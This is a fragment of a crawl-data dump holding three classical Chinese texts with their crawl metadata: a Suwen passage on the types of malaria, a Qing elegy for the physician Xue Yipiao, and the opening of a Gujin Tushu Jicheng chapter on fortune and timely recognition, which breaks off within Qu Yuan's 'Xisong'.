。而風独常在、瘧得有時而休者、何也。岐伯曰、風気留其処。故常在。瘧気隨経絡、沈以内薄。故衛気応乃作。\n帝曰、瘧先寒而後熱者、何也。岐伯曰、夏傷於大暑、其汗大出、腠理開発、因遇夏気淒滄之水寒、蔵於腠理皮膚之中、秋傷於風、則病成矣。夫寒者、陰気也。風者、陽気也。先傷於寒、而後傷於風。故先寒而後熱也。病以時作。名曰寒瘧。\n帝曰、先熱而後寒者、何也。岐伯曰、此先傷於風、而後傷於寒。故先熱而後寒也。亦以時作、名曰温瘧。\n其但熱而不寒者、陰気先絶、陽気独発、則少気煩寃、手足熱而欲嘔。名曰癉瘧。\n帝曰、夫経言有余者写之、不足者補之。今熱為有余、寒為不足。夫瘧者之寒、湯火不能温也。及其熱、冰水不能寒也。此皆有余不足之類。当此之時、良工不能止。必須其自衰乃刺之。其故何也。願聞其説。岐伯曰、経言無刺熇熇之熱、無刺渾渾之脈、無刺漉漉之汗。故為其病逆、未可治也。夫瘧之始発也、陽気并於陰。当是之時、陽虚而陰盛、外無気。故先寒慄也。陰気逆極、則復出之陽。陽与陰復并於外、則陰虚而陽実。故先熱而渇。夫瘧気者、并於陽則陽勝、并於陰則陰勝。陰勝則寒、陽勝則熱。瘧者、風寒之気不常也。病極則復。至病之発也、如火之熱、如風雨、不可当也。故経言曰、方其盛時必毀、因其衰也、事必大昌、此之謂也。夫瘧之未発也、陰未并陽、陽未并陰。因而調之、真気得安、邪気乃亡。故工不能治其已発、為其気逆也。帝曰、善。\n攻之奈何。早晏何如。岐伯曰、瘧之且発也、陰陽之且移也。必従四末始也。陽已傷、陰従之。故先其時堅束其処、令邪気不得入、陰気不得出。審候見之、在孫絡盛堅而血者、皆取之。此真往而未得并者也。\n帝曰、瘧不発、其応何如。岐伯曰、瘧気者、必更盛更虚。当気之所在也、病在陽、則熱而脈躁、在陰、則寒而脈静。極則陰陽倶衰、衛気相離。故病得休。衛気集、則復病也。\n帝曰、時有間二日、或至数日発。或渇或不渇。其故何也。岐伯曰、其間日者、邪気与衛気客於六府、而有時相失、不能相得。故休数日乃作也。瘧者、陰陽更勝也、或甚或不甚。故或渇或不渇。\n帝曰、論言夏傷於暑、秋必病瘧、今瘧不必応者、何也。岐伯曰、此応四時者也。其病異形者、反四時也。其以秋病者寒甚、以冬病者寒不甚。以春病者悪風、以夏病者多汗。\n帝曰、夫病温瘧与寒瘧、而皆安舍。舍於何蔵。岐伯曰、温瘧者、得之冬中於風寒。気蔵於骨髄之中、至春則陽気大発、邪気不能自出。因遇大暑、脳髄爍、肌肉消、腠理発泄、或有所用力、邪気与汗皆出。此病蔵於腎、其気先従内出之於外也。如是者、陰虚而陽盛。陽盛則熱矣。衰則気復反入。入則陽虚、陽虚則寒矣。故先熱而後寒。名曰温瘧。帝曰、癉瘧何如。岐伯曰、癉瘧者、肺素有熱。気盛於身、厥逆上衝、中気実而不外泄。因有所用力、腠理開、風寒舍於皮膚之内分肉之間而発。発則陽気盛。陽気盛而不衰則病矣。其気不及於陰。故但熱而不寒。気内蔵於心、而外舍於分肉之間、令人消爍脱肉。故命曰癉瘧。帝曰、善。","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/www.yakuzenjoho.net\/data\/somon\/35gyakuron.html","date":"2018-11-14T02:32:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039741578.24\/warc\/CC-MAIN-20181114020650-20181114042650-00086.warc.gz","language":"lzh","language_score":0.663474679,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6634746789932251, \"cmn_Hani_score\": 0.11114978790283203, \"jpn_Jpan_score\": 0.059132739901542664, \"zxx_Latn_score\": 0.02152167819440365, \"wuu_Hani_score\": 0.020793486386537552, \"nan_Hani_score\": 0.01806359924376011, \"und_Tang_score\": 0.016507254913449287, \"yue_Hani_score\": 0.011514007113873959}","num_words":16,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.663,"perplexity_score":500.0,"cluster_detection":1} +{"text":"祭薛一瓢文\n嗚呼!伊己巳之仲冬兮,余奄枼於床笫。謁三醫而莫救兮,疑季梁之將死。聞先生之渡江兮,心欽遲而欲問所以。已身長攵以召之兮,復豫而中止。曰斯人之奇介兮,托許由之一瓢。抱《內經》之絕業兮,如孤雲之難招。甘始投萬金於海兮,顏闔鑿壞以逃。豈戔戔之山中氓兮,所能執訊以相要。\n忽車聲兮啍々,蟝深泥兮叩門。儼雅跽而相對,各清談兮干雲。上自兩戒之形臠兮,下極三雍之禮樂。細而鑄凝手搏之雜伎兮,大而風後奇胲之方略。五稱兮如響,《七發》兮皆藥。悔予病之不早兮,致見君之已晚。君亦忘萬頸之胥延兮,每一來而不返。\n吳閶兮再見,鶬鶬兮相從。君作夷門之大會兮,余尋河朔之高蹤。聚海內之耆碩兮,縱捭闔之談鋒。或擊缽兮擘錦,或捶琴兮歌風。春復春兮花落,歲復歲兮人空。渺山河之一笛,送此夕之諸公。天哀民之頡颭多疾兮,故留此晨星之孤耀也。惟學之靡所不窺兮,故能進技於道也。乃門高無客敢撇裾兮,偏獨與余以為好也。\n先生之診疾兮,每神遊於象外。逞青睛於一盼兮,已穿穴其五內。隨靈機以倏變兮,遽斬關而扼隘。代肺腑以作語兮,化豨苓為沆瀣。奪亢父之生魂兮,走遊梟之百怪。先生之清尚兮,意飄飄而淩九垓。貴不足以虞其志兮,利不足以挺其懷。吞丹篆兮吸玄泉,纂《真誥》兮題《靈筌》。極三微兮窮五際,奴金虎兮婢銅仙。瘞華陽之鶴一隻兮,畜世隆之龜三千(先生杖名「銅婢」,為龜作巢,學其吐納。)嗚呼!方冀至於殊庭兮,忽神船之已渡。豈大耋之逢占兮,抑風燈之難護?乃天道之自然兮,苟有朝其必暮。雖金丹之如雪兮,終玉棺之必赴。惟神理之綿綿兮,去恒幹而彌固。\n亂曰:化人行矣,天酒清兮。先生往矣,歲星明兮。他日來歸,桑海更兮。滿世曾孫,呼誰聽兮。\n重曰:宅掩兮青松,園開兮水南。我無車兮越弔,莽有淚兮悲含。羌招魂兮江上,極思心兮潭潭。哀哉尚饗!\n|本清朝作品在全世界都屬於公有領域,因為作者逝世已經超過100年。|","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/zh.wikisource.org\/wiki\/%E7%A5%AD%E8%96%9B%E4%B8%80%E7%93%A2%E6%96%87","date":"2019-09-17T11:06:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573070.36\/warc\/CC-MAIN-20190917101137-20190917123137-00305.warc.gz","language":"lzh","language_score":0.4280833006,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.42808330059051514, \"cmn_Hani_score\": 0.16638672351837158, \"nan_Hani_score\": 0.1020200327038765, \"yue_Hani_score\": 0.04462438076734543, \"zxx_Latn_score\": 0.035109713673591614, \"wuu_Hani_score\": 0.01604248210787773, \"jpn_Jpan_score\": 0.015929171815514565, \"und_Tang_score\": 0.014470717869699001, \"und_Sgnw_score\": 0.011890155263245106, \"und_Yiii_score\": 0.011254377663135529, \"und_Cyrl_score\": 0.01007756032049656}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.356,"perplexity_score":500.0,"cluster_detection":1} +{"text":"|欽定古今圖書集成\n\n\n明倫彙編 第七十七卷\n欽定古今圖書集成明倫彙編人事典\n第七十七卷目錄\n遇合部總論\n易經〈乾九五文言 睽九二〉\n呂氏春秋〈遇合〉\n說苑〈善說篇〉\n韓詩外傳〈遇合惟時〉\n論衡〈逢遇篇 累害篇〉\n抱朴子〈任命〉\n新論〈遇不遇〉\n冊府元龜〈不遇〉\n遇合部藝文一\n九章 周屈原\n弔屈原賦 漢賈誼\n惜誓 前人\n士不遇賦 董仲舒\n答客難 東方朔\n七諫 前人\n悲士不遇賦 司馬遷\n九懷 王褒\n九歎 劉向\n遂初賦 劉歆\n人事典第七十七卷\n遇合部總論编辑\n《易經》编辑\n乾九五文言编辑\n九五曰:飛龍在天,利見大人。何謂也。子曰:同聲相應, 同氣相求;水流濕,火就燥;雲從龍,風從虎;聖人作而 萬物睹;本乎天者親上,本乎地者親下,則各從其類 也。\n〈本義〉作猶起也,睹釋利見之意也,物各從其類聖人人類之首也,故興起於上則人皆見之。〈大全〉朱子曰:天下所患,無君不患。無臣有如是,君必有如是。臣雖使而今無少間也,必有出來雲從龍、風從虎,只怕不是真個龍虎。若是真個龍虎,必生風致雲也。\n《睽九二》编辑\n九二:遇主於巷,無咎。象曰:遇主於巷,未失道也。\n〈程傳〉二以剛中之德居下,上應六五之君道,合則志行成濟,睽之功矣。而居睽離之時,其交非固二。當委曲求於相遇,覬其得合也。故曰:遇主於巷,必能合而後無咎。巷者,委曲之途也;遇者,會逢之謂也。當委曲相求,期於會遇,與之合也。\n《呂氏春秋》编辑\n《遇合》编辑\n凡遇,合也。時不合,必待合而後行。故比翼之鳥死乎 木,比目之魚死乎海。孔子周流海內,再干世主,如齊 至衛,所見八十餘君,委質為弟子者三千人,達徒七 十人,七十人者,萬乘之主得一人用可為師,不為無 人,以此遊僅至於魯司寇,此天子之所以時絕也,諸 侯之所以大亂也。亂則愚者之多幸也,幸則必不勝 其任矣。任久不勝,則幸反為禍。其幸大者,其禍亦大, 非禍獨及己也。故君子不處幸,不為苟,必審諸己然 後任,任然後動。凡能聽說者,必達乎論議者也。世主 之能識論議者寡,所遇惡得不苟。凡能聽音者,必達 於五聲。人之能知五聲者寡,所善惡得不苟。客有以 吹籟見越王者,羽角宮徵商不謬,越王不善,為野音 而反善之。說之道亦有如此者也。人有為人妻者。人 告其父母曰:嫁不必生也。衣器之物,可外藏之,以備 不生。其父母以為然,於是令其女常外藏。姑妐知之, 曰:為我婦而有外心,不可畜。因出之。婦之父母,以謂 為己謀者以為忠,終身善之,亦不知所以然矣。宗廟 之滅,天下之失,亦由此矣。故曰遇合也無常。說,適然 也。若人之於色也,無不知說美者,而美者未必遇也。 故嫫母執乎黃帝,黃帝曰:屬女德而弗忘,與女正而 弗衰,雖惡奚傷。若人之於滋味,無不說甘脆,而甘脆 未必受也。文王嗜菖蒲葅,孔子聞而服之,縮頞而食 之,三年然後勝之。人有大臭者,其親戚兄弟妻妾,知 識無能與居者,自苦而居海上。海上人有說其臭者, 晝夜隨之而弗能去。說亦有若此者。陳有惡人焉,曰 敦洽讎糜,雄顙廣顏,色如浹赬,垂眼臨鼻,長肘而盭。 陳侯見而甚說之,外使治其國,內使制其身。楚合諸 侯,陳侯病不能往,使敦洽讎糜往謝焉。楚王怪其名 而先見之。客有進狀有惡其名言有惡狀,楚王怒,合 大夫而告之,曰:陳侯不知其不可使,是不知也;知而 使之,是侮也;侮且不智,不可不攻也。興師伐陳,三月 然後喪。惡足以駭人,言足以喪國,而友之足於陳侯而無上也,至於亡而友不衰。夫不宜遇而遇者則必 廢,宜遇而不遇者,此國之所以亂,世之所以衰也。天 下之民,其苦愁勞務從此生。凡舉人之本,太上以志, 其次以事,其次以功。三者弗能,國必殘亡,群孽大至, 身必死殃,年得至七十、九十猶尚幸。賢聖之後,反而 孽民,是以賊其身,豈能獨哉。\n《說苑》编辑\n《善說篇》编辑\n陳子說梁王,梁王說而疑之曰:子何為去陳侯之國 而教小國之孤於此乎。陳子曰:夫善亦有道,而遇亦 有時,昔傅說衣褐帶,而築於秕傅之城,武丁夕夢, 旦得之,時王也;甯戚飯牛,康衢擊車輻而歌,顧見桓 公得之,時霸也;百里奚自賣五羊之皮,為秦人虜,穆 公得之,時強也。論若三子之行,未得為孔子駿徒也。 今孔子經營天下,南有陳蔡之阨,而北干景公,三坐 而五立,未嘗離也。孔子之時不行,而景公之時怠也。 以孔子之聖,不能以時行,說之怠,亦獨能如之何乎。\n《韓詩外傳》编辑\n《遇合惟時》编辑\n孔子困於陳蔡之間,即三經之席,七日不食,藜羹不 糝,弟子有飢色,讀書習禮樂不休。子路進曰:為善者、 天報之以福,為不善者、天報之以賊。今夫子積德累 仁,為善久矣,意者、當遣行乎。奚居之隱也。孔子曰:由 來。汝小人也,未講於論也。居,吾語汝:子以知者為無 罪乎。則王子比干何為刳心而死;子以義者為聽乎。 則伍子胥何為抉目而懸吳東門;子以廉者為用乎。 則伯夷叔齊何為餓於首陽之山;子以忠者為用乎。 則鮑叔何為而不用,葉公子高終身不仕,鮑焦抱木 而泣,之推登山而燔。故君子博學深謀,不遇時者眾 矣,豈獨丘哉。賢不肖者、材也,遇不遇者、時也,今無有 時,賢安所用哉。故虞舜耕於歷山之陽,立為天子,其 遇堯也;傅說負土而版築,以為大夫,其遇武丁也;伊 尹故有莘氏僮也,負鼎操俎,調五味,而立為相,其遇 湯也;呂望行年五十,賣食棘津,年七十,屠於朝歌,九 十乃為天子師,則遇文王也;管夷吾束縛自檻車,以 為仲父,則遇齊桓公也;百里奚自賣五羊之皮,為秦 伯牧牛,舉為大夫,則遇秦繆公也;虞丘於天下以為 令尹,讓於孫叔敖,則遇楚莊王也;伍子胥前功多,後 戮死,非知有盛衰也,前遇闔閭,後遇夫差也。夫驥罷 鹽車,此非無形容也,莫知之也,使驥不得伯樂,安得 千里之足,造父亦無千里之手矣。夫蘭生於茂林 之中,深山之間,人莫見之故不芬;夫學者非為通也, 為窮而不憂,困而志不衰,先知禍福之始,而心無惑 焉,故聖人隱居深念,獨聞獨見。夫舜亦賢聖矣,南面 而治天下,惟其遇堯也,使舜居桀紂之世,能自免於 刑戮之中,則為善矣,亦何位之有。桀殺關龍逢,紂殺 王子比干,當此之時,豈關龍逢無知,而王子比干不 慧乎哉。此皆不遇時也。故君子務學修身端行而須 其時者也,子無惑焉。詩曰:鶴鳴于九皋,聲聞于天。\n《論衡》编辑\n《逢遇篇》编辑\n操行有常賢,仕宦無常遇。賢不賢,才也;遇不遇,時也。 才高行潔,不可保以必尊貴;能薄操濁,不可保以必 卑賤。或高才潔行,不遇退在下流;薄能濁操,遇,在眾 上。世各自有以取士,士亦各自得以進。進在遇,退在 不遇。處尊居顯,未必賢,遇也;位卑在下,未必愚,不遇 也。故遇,或抱洿行,尊於桀之朝;不遇,或持潔節,卑於 堯之廷。所以遇不遇非一也:或時賢而輔惡;或以大 才從於小才;或俱大才,道有清濁;或無道德而以技 合;或無技能,而以色幸。伍員、帛喜,〈宜讀作伯嚭字〉俱事夫差, 帛喜尊重,伍員誅死。此異操而同主也。或操同而主 異,亦有遇不遇,伊尹、箕子,是也。伊尹、箕子才俱也,伊 尹為相,箕子為奴;伊尹遇成湯,箕子遇商紂也。夫以 賢事賢君,君欲為治,臣以賢才輔之,趨舍偶合,其遇 固宜;以賢事惡君,君不欲為治,臣以忠行佐之,操志 乖忤,不遇固宜。或以賢聖之臣,遭欲為治之君,而終 有不遇,孔子、孟軻是也。孔子絕糧陳、蔡,孟軻困於齊、 梁,非時君主不用善也,才下知淺,不能用大才也。夫 能御驥騄者,必王良也;能臣禹、稷、皋陶者,必堯、舜也。 御百里之手,而以調千里之足,必有摧衡折軛之患; 有接具臣之才,而以御大臣之知,必有閉心塞意之 變。故至言棄捐,聖賢距逆,非憎聖賢,不甘至言也。聖 賢務高,至言難行也。夫以大才干小才,小才不能受, 不遇固宜。以大才之臣,遇大才之主,乃有遇不遇,虞 舜、許由、太公、伯夷是也。虞舜、許由俱聖人也,並生唐 世,俱面於堯。虞舜紹帝統,許由入山林。太公、伯夷俱 賢也,並出周國,皆見武王;太公受封,伯夷餓死。夫賢 聖道同,志合趨齊,虞舜、太公行耦,許由、伯夷操違者, 生非其世。出非其時也。道雖同,同中有異,志雖合,合 中有離。何則。道有精粗,志有清濁也。許由,皇者之輔 也,生於帝者之時;伯夷,帝者之佐也,出於王者之世,並由道德,俱發仁義,主行道德,不清不留;主為仁義, 不高不止,此其所以不遇也。堯溷,舜濁;武王誅殘,太 公討暴,同濁皆粗,舉措鈞齊,此其所以為遇者也。故 舜王天下,皋陶佐政,北人無擇深隱不見;禹王天下, 伯益輔治,伯成子高委位而耕。非皋陶才愈無擇,伯 益能出子高也,然而皋陶、伯益進用,無擇、子高退隱, 進用行耦,退隱操違也。退隱勢異,身雖屈,不願進;人 主不須其言,廢之,意亦不恨,是兩不相慕也。商鞅三 說秦孝公,前二說不聽,後一說用者:前二,帝王之論; 後一,霸者之議也。夫持帝王之論,說霸者之主,雖精 見拒;更調霸說,雖粗見受。何則。精遇孝公所不得,粗 遇孝公所欲行也。故說者不在善,在所說者善之;才 不待賢,在所事者賢之。馬圄之說無方,而野人說之; 子貢之說有義,野人不聽。吹籟工為善聲,因越王不 喜,更為野聲,越王大說。故為善於不欲得善之主,雖 善不見愛;為不善於欲得不善之主,雖不善不見憎。 此以曲伎合,合則遇,不合則不遇。或無伎,妄以姦巧 合上志,亦有以遇者,竊簪之臣,雞鳴之客是。竊簪之 臣,親於子反,雞鳴之客,幸於孟嘗。子反好偷臣,孟嘗 愛偽客也。以有補於人君,人君賴之,其遇固宜。或無 補益,為上所好,籍孺、鄧通是也。籍孺幸於孝惠,鄧通 愛於孝文,無細簡之才,微薄之能,偶以形佳骨嫺,皮 媚色。夫好容,人所好也,其遇固宜。或以醜面惡色, 媚於上,嫫母、無鹽是也。嫫母進於黃帝,無鹽納於 齊王。故賢不肖可豫知,遇難先圖。何則。人主好惡無 常,人臣所進無豫,偶合為是,適可為上。進者未必賢, 退者未必愚;合幸得進,不幸失之。世俗之議曰:賢人 可遇,不遇,亦自其咎也:生不希世准主,觀鑒治內,調 能定說,審詞際會。能進有補贍主,何不遇之有。今則 不然,作無益之能,納無補之說,以夏進鑪,以冬奏扇, 為所不欲得之事,獻所不欲聞之語,其不遇禍幸矣, 何福祐之有乎。進能有益,納說有補,人之所知也;或 以不補而得祐,或以有益而獲罪。且夏時鑪以炙濕, 冬時扇以翣火。世所希,主不可准也;說可轉,能不可 易也。世主好文,己為文則遇;主好武,己則不遇。主好 辯,有口則遇;主不好辯,己則不遇。文主不好武,武主 不好文;辯主不好行,行主不好辯。文與言,尚可暴習; 行與能,不可卒成。學不宿習,無以明名。名不素著,無 以遇主。倉猝之業,須臾之名,日力不足。不預聞,何以 准主而納其說,進身而託其能哉。昔周人有仕數不 遇,年老白首,泣涕於塗者。人或問之:何為泣乎。對曰: 吾仕數不遇,自傷年老失時,是以泣也。人曰:仕奈何 不一遇也。對曰:吾年少之時,學為文。文德成就,始欲 仕宦,人君好用老。用老主亡,後主又用武,吾更為武。 武節始就,武主又亡。少主始立,好用少年,吾年又老, 是以未嘗一遇。仕宦有時,不可求也。夫希世准主,尚 不可為,況節高志妙,不為利動,性定質成,不為主顧 者乎。且夫遇也,能不預設,說不宿具,邂逅逢喜,遭觸 上意,故謂之遇。如准推主調說,以取尊貴,是名為揣, 不名曰遇。春種穀生,秋刈穀收,求物得物,作事事成, 不名為遇。不求自至,不作自成,是名為遇。猶拾遺於 塗,摭棄於野,若天授地生,鬼助神輔,禽息之精陰慶, 鮑叔之魂默舉,若是者,乃遇耳。今俗人既不能定遇 不遇之論,又就遇而譽之,因不遇而毀之,是據見效, 案成事,不能量操審才能也。\n《累害篇》编辑\n凡人仕宦有稽留不進,行節有毀傷不全,罪過有累 積不除,聲名有暗昧不明,才非下,行非悖也;又知非 昏,策非昧也;逢遭外禍,累害之也。非唯人行,凡物皆 然,生動之類,咸被累害。累害自外,不由其內。夫不本 累害所從生起,而徒歸責於被累害者,智不明,闇塞 於理者也。物以春生,人保之;以秋成,人必不能保之。 卒然牛馬踐根,刀鎌割莖,生者不育,至秋不成。不成 之類,遇害不遂,不得生也。夫鼠涉飯中,捐而不食。捐 飯之味,與彼不污者鈞,以鼠為害,棄而不御。君子之 累害,與彼不育之物,不御之飯,同一實也,俱由外來, 故為累害。修身正行,不能來福;戰栗戒慎,不能避禍。 禍福之至,幸不幸也。故曰:得非己力,故謂之福;來不 由我,故謂之禍。不由我者,謂之何由。由鄉里與朝廷 也。夫鄉里有三累,朝廷有三害。累生於鄉里,害發於 朝廷,古今才洪行淑之人遇此多矣。何謂三累三害。 凡人操行,不能慎擇友,友同心恩篤,異心疏薄,疏薄 怨恨,毀傷其行,一累也。人才高下,不能鈞同,同時並 進,高者得榮,下者漸恚,毀傷其行,二累也。人之交遊, 不能常歡,歡則相親,忿則疏遠,疏遠怨恨,毀傷其行, 三累也。位少人眾,仕者爭進,進者爭位,見將相毀,增 加傅致,將昧不明,然納其言,一害也。將吏異好,清濁 殊操,清吏增郁郁之白,舉涓涓之言,濁吏懷恚恨,徐 求其過,因纖微之謗,被以罪罰,二害也。將或幸佐吏 之身,納信其言,佐吏非清節,必拔人越次。迕失其意, 毀之過度;清正之仕,抗行伸志,遂為所憎,毀傷於將,三害也。夫未進也,身被三累;已用也,身蒙三害,雖孔 丘、墨翟不能自免,顏回、曾參不能全身也。動百行,作 萬事,嫉妒之人,隨而雲起,枳棘鉤掛容體,蜂蠆之黨, 喙螫懷操豈徒六哉。六者章章,世曾不見。夫不原士 之操行有三累,仕宦有三害,身完全者謂之潔,被毀 謗者謂之辱;官升進者謂之善,位廢退者謂之惡。完 全升進,幸也,而之;毀謗廢退,不遇也,而訾之:用心 若此,必為三累三害也。論者既不知累害者行賢潔 也,以塗摶泥,以黑點繒,孰有知之。清受塵,白取垢,青 蠅所汙,常在練素。處顛者危,勢豐者虧,頹墜之類,常 在懸垂。屈平潔白,邑犬群吠,吠所怪也,非俊疑傑,固 庸能也。偉士坐以俊傑之才,〈坐讀為生〉招致群吠之聲。夫 如是,豈宜更勉奴下,循不肖哉。不肖奴下,非所勉也, 豈宜更偶俗全身以弭謗哉。偶俗全身,則鄉原也。鄉 原之人,行全無闕,非之無舉,刺之無刺也。此又孔子 之所罪,孟軻之所愆也。古賢美極,無以衛身。故循性 行以俟累害者,果賢潔之人也。極累害之謗,而賢潔 之實見焉。立賢潔之跡,毀謗之塵安得不生。絃者思 折伯牙之指,御者願摧王良之手。何則。欲專良善之 名,惡彼之勝己也。是故魏女色艷,鄭袖鼻之;朝吳忠 貞,無忌逐之。戚施彌妒,蘧除多佞。是故濕堂不灑塵, 卑屋不蔽風;風衝之物不得育,水湍之岸不得峭。如 是,牖里、陳蔡可得知,而沉江蹈河也。以軼才取容媚 於俗,求全功名於將,不遭鄧析之禍,取子胥之誅,幸 矣。孟賁之尸,人不刃者,氣絕也。死灰百斛,人不沃者, 光滅也。動身章智,顯光氣於世;奮志敖黨,立卓異於 俗,固常通人所讒嫉也。以方心偶俗之累,求益反損, 蓋孔子所以憂心,孟軻所以惆悵也。德鴻者招謗,為 士者多口。以休熾之聲,彌口舌之患,求無危傾之害, 遠矣。臧倉之毀未嘗絕也,公伯寮之愬未嘗滅也。垤 成丘山,汙為江河毫髮之善,小人不得有也。以玷汙 言之,清受塵而白取垢;以毀謗言之,貞良見妒,高奇 見噪;以遇罪言之,忠言招患,高行招恥;以不純言之, 玉有瑕而珠有毀。焦陳留君兄,名稱兗州,行完跡潔, 無纖介之毀;及其當為從事,刺史焦康絀而不用。夫 未進也,被三累;已用也,蒙三害,雖孔丘、墨翟不能自 免,顏回、曾參不能全身也。何則。眾好純譽之人,非真 賢也。公侯以下,玉石雜糅。賢士之行,善惡相苞。夫采 玉者破石拔玉,選士者棄惡取善。夫如是,累害之人 負世以行,指擊之者從何往哉。\n《抱朴子》编辑\n《任命》编辑\n抱朴子曰:余之友人,有居冷先生者。恬愉靜素,形神 相忘,外不飾驚愚之容,內不寄有為之心。遊精墳誥 樂,以忘憂晝競羲和之。末景,夕照望舒之餘耀,道靡 遠而不究言,無微而不研。然車跡不軔權右之,國尺 牘不經貴勢之。庭是以名不出蓬戶,身不離畎畝。於 是翼亮大夫候而難之曰:余聞淵蟠起,則元雲赴道, 化霑則逸才奮,故康衢有角歌之音,鼎俎發凌風之 跡。沽之則收不貲之賈,踊之則超在天之舉,輝逸景 於暘谷,播大明乎。九垓勳廕,當時聲揚罔極,故尋仞 之塗甚近。而弗往者,雖追風之腳,不能到也。楹梲之 下,至卑而不動者,雖鴻鶤之翅未之及也。況乎寢足 於大荒之表斂羽於幽梧之枝。安得效迅以尋景振 輕乎。蒼霄哉。年期奄冉而不久託世,飄迅而不再智 者,履霜則知堅冰之必至處。始則悟生物之有終,六 龍促軌於大渾。華顛倏忽而告暮古人,所以映順流 而寄歎眄。過隙而興悲矣。先生資命世之逸,量舍英 偉以邈俗,銳翰汪濊以波涌,六奇抑鬱而淵。然不 能淩扶搖以高竦,揚清耀於九元。器不陳於瑚簋之 末,體不免於負薪之勞。猶奏和音於聾俗之地,鬻章 甫於被髮之域,徒忘寤於翰林,銳意以窮神崇琬琰 於懷抱之內,吐琳琅於毛墨之端,躬困屢空之儉,神 勞堅高之間。譬若埋尺璧於重壤之下,封文錦於沓 匱之中,終無交易之富,孰賞堙翳之珍哉。夫龍驥維 縶,無以別乎。蹇驢赤刀,韜鋒則曷用異於鉛刃。鱣鮪 不居牛跡,大鵬不滯蒿林。願先生委龍蛇之穴,升利 見之塗,釋戶庭之獨潔。覽二鼠而遠寤,越窮谷以登 高,襲丹藻以改素。競驚於清晨,不盤旋以詣。夜收 名器於崇高。饗鐘鼎之慶,祚柏成一介之。夫採薇何 足多慕乎。居冷先生應曰:蓋聞靈機冥緬,混芒眇眛, 禍福交錯乎。倚伏之間,興亡綿乎。盈虛之會迅逝 者,不能脫。逐身之景樂成者,不能免。理致之敗匠流 末者,未若挺。冶元兆之中整已然者,不逮原本乎。元 朴之外,是以學尺蠖者,甘屈保伸識通塞者,不慘悅 於否泰。且夫洪陶範物大象流形,躁靜異尚翔沉舛 情金寶。其重羽矜,其輕篤隘者,執束於滓浧達妙者, 逍遙於元清潢洿納行潦而潘噎渤澥。吞百川而不 盈蝦,踊悅於泥濘赤螭淩厲乎。高冥嚼香餌者,快 嗜欲而赴死味虛淡者,含天和而趨生識機神者,瞻 無兆而弗惑闇休咎者,觸強弩而不驚。各附攸好。安肯改營。吾聞五玉不能自剖於嵩岫,螣蛇不能無霧 而電征,龍淵不能勿操,而斷犀兕景鐘不能莫扣。而 揚洪聲金芝須商風,而激耀倉庚俟煙熅而修鳴騏 騄不苟馳以赴險,君子不詭遇以毀名。運屯則沉淪 於弗用時,行則高乎。天庭士以自衒為不高,女以 自媒為不貞,何必委洗耳之峻標、放負俎之千榮哉。 夫其窮也,則有虞婆娑而陶鈞尚父,見逐於愚嫗范 生。來辱於溺簀弘式匿,奇於耕牧及其達也。則淮陰 投竿而稱孤,文種解屩而紆青,傅說釋築而論道。管 子脫桎為上卿,蓋君子藏器以有待也。德以有為 也,非其時不見也,非其君不事也。窮達任所值出處, 無所繫其靜也,則為逸民之宗其動也,則為元凱之 表。或運思於立言,或銘勳乎。國器殊塗同歸,其致一 焉。士能為可貴之行而不能使俗必貴之也,能為可 用之才而不能使世必用之也。被褐茹草,垂綸罝兔 則心歡意得,如將終身服冕。乘軺兼朱重紫則若固 有之,此至人之用懷也。若席上之珍不積,環堵之操 不粹者。予之過也,知之者。希名位不臻以玉為石,謂 鳳曰:鷃者,非余罪也。夫汲汲於見知悒悒於否滯者, 常民之情也。浩然而養氣,淡爾而靡欲者,無悶之志 也。時至道行器大者,不悅天地之間知命者,不憂若 乃徇萬金之貨。索百十之售,多失骭毛我,則未暇矣。\n《新論》编辑\n《遇不遇》编辑\n賢有常質,遇有常分。賢不賢性也,遇不遇命也。性見 於人,故賢愚可定;命在於天,則否泰難期。命運應遇 危,不必禍愚,不必窮。命運不遇安,不必福,賢不必達。 故患齊而死生殊,德同而榮辱。異者,遇不遇也。春日 麗天而隱者,不照秋霜被地而蔽者,不傷遇不遇也。 昔韓昭侯醉臥而寒典官加之衣,覺而問之。知典官 有愛於己也,以越職之故而加誅焉。衛之驂乘見御 者之非從後呼。車有救危之意,不蒙其罪。加之以衣, 恐主之寒呼。車憂君之危,忠愛之情,是同越職之愆。 亦等典官獲罪呼。車見德遇不遇也,鴟墮腐鼠非虞 氏之慢,鈃冰沃地非射姑之穢,事出慮外固非其罪。 而俠客大怒虞氏,見滅邾君大怒,而射姑獲免遇不 遇也。齊之華士棲志丘壑而太公誅之,魏之干木遁 代幽居而文侯敬之,太公之賢非有減於文侯干木 之德。非有逾於華士而或榮或戮者,遇不遇也。董仲 舒智德冠代,位僅過士田,千秋無他殊,操以一言取 相同遇明主。而貴賤懸隔者,遇不遇也。莊姜適衛美 而無寵宿,瘤適齊醜而蒙幸遇不遇,命也;賢不賢,性 也。怨不肖者,不通性也;傷不遇者,不知命也。如能臨 難而不懾,貧賤而不憂,可為達命者矣。\n《冊府元龜》编辑\n《不遇》编辑\n春秋之際禮樂喪壞,列國爭霸,賢者不遇。故宣父之 言曰:鳳鳥不至,河圖不出,吾已矣。夫蓋困於歷,聘不 得行其道也。若乃望庶幾而出,晝謂濡滯而見。譏初 學,少年被毀於豪貴。不修威儀,多為於排抵矧復坐。 衣冠之不整,為飢寒之所斃者哉。\n遇合部藝文一编辑\n《九章》周屈原编辑\n惜誦\n惜誦以致愍兮,發憤以抒情,所非忠而言之兮。指蒼 天以為正令,五帝以折中兮。戒六神與嚮服,俾山川 以備御兮。命咎繇使聽直,竭忠誠以事君兮。反離群 而贅忘儇,媚以背眾兮。待明君其知之言,與行其 可跡兮。情與貌其不變,故相臣莫若君兮。所以証之 不遠,吾誼先君而後身兮。羌眾人之所仇也,專惟君 而無他兮。又眾兆之所仇也,一心而不豫兮。羌不可 保也,疾君親而無他兮。有招禍之道也,思君其莫我 